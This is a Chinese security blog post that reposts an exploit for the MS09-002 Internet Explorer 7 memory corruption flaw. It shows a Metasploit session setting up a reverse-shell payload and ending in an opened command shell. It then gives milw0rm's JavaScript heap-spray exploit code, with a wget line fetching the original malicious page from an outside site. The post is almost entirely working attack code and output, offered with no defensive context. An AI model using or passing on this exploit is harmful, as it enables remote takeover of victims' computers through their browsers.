导航

Web安全手册

分享本身就是件快乐的事 我因别人得到帮助而感到幸福

« 4Images 1.7.6 Local Inclusion Vulnerabilityms09-002 exploit »

MS09_002 Memory Corruption Exploit

 

MS09_002 Memory Corruption Exploit

 
  1. msf > use exploit/windows/browser/ms09_002
  2. msf exploit(ms09_002) > set PAYLOAD windows/shell_reverse_tcp
  3. PAYLOAD => windows/shell_reverse_tcp
  4. msf exploit(ms09_002) > set LPORT 1701
  5. LPORT => 1701
  6. msf exploit(ms09_002) > set LHOST 10.10.10.15
  7. LHOST => 10.10.10.15
  8. msf exploit(ms09_002) > set URIPATH ie7.html
  9. URIPATH => ie7.html
  10. msf exploit(ms09_002) > set SRVPORT 80
  11. SRVPORT => 80
  12. msf exploit(ms09_002) > exploit
  13. [*] Exploit running as background job.
  14. msf exploit(ms09_002) >
  15. [*] Handler binding to LHOST 10.10.10.15
  16. [*] Handler binding to LHOST 0.0.0.0
  17. [*] Started reverse handler
  18. [*] Using URL: http://0.0.0.0:80/ie7.html
  19. [*] Local IP: http://10.10.10.15:80/ie7.html
  20. [*] Server started.
  21. [*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.10.1:1865...
  22. [*] Command shell session 1 opened (10.10.10.15:1701 -> 10.10.10.1:4387)

 http://milw0rm.com/exploits/8077

 
  1. <!--
  2. MS09-002
  3. ===============================
  4. grabbed from:
  5. wget http://www.chengjitj.com/bbs/images/alipay/mm/jc/jc.html --user-agent="MSIE 7.0; Windows NT 5.1"
  6.  
  7. took a little but found it. /str0ke
  8. -->
  9.  
  10. <script language="JavaScript">
  11.  
  12. var c="putyourshizhere-unescaped";
  13.  
  14. var array = new Array(); 
  15.  
  16. var ls = 0x100000-(c.length*2+0x01020); 
  17.  
  18. var b = unescape("%u0C0C%u0C0C"); 
  19. while(b.length<ls/2) { b+=b;} 
  20. var lh = b.substring(0,ls/2); 
  21. delete b; 
  22.  
  23. for(i=0; i<0xC0; i++) { 
  24.     array[i] = lh + c;
  25.  
  26. CollectGarbage();
  27.  
  28. var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
  29. var a1 = new Array();
  30. for(var x=0;x<1000;x++) a1.push(document.createElement("img"));
  31.  
  32. function ok() { 
  33.     o1=document.createElement("tbody"); 
  34.     o1.click; 
  35.     var o2 = o1.cloneNode();    
  36.     o1.clearAttributes(); 
  37.     o1=null; CollectGarbage(); 
  38.     for(var x=0;x<a1.length;x++) a1[x].src=s1
  39.     o2.click;
  40. }
  41. </script><script>window.setTimeout("ok();",800);</script>
  42.  
  43. # milw0rm.com [2009-02-18]

 

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-Blog .Theme from Google黑板报 By Washun

Copyright 2008-2009 Pcsec.org. Some Rights Reserved.苏ICP备08110306号

Search

网站分类

文章归档

最新评论及回复

最近发表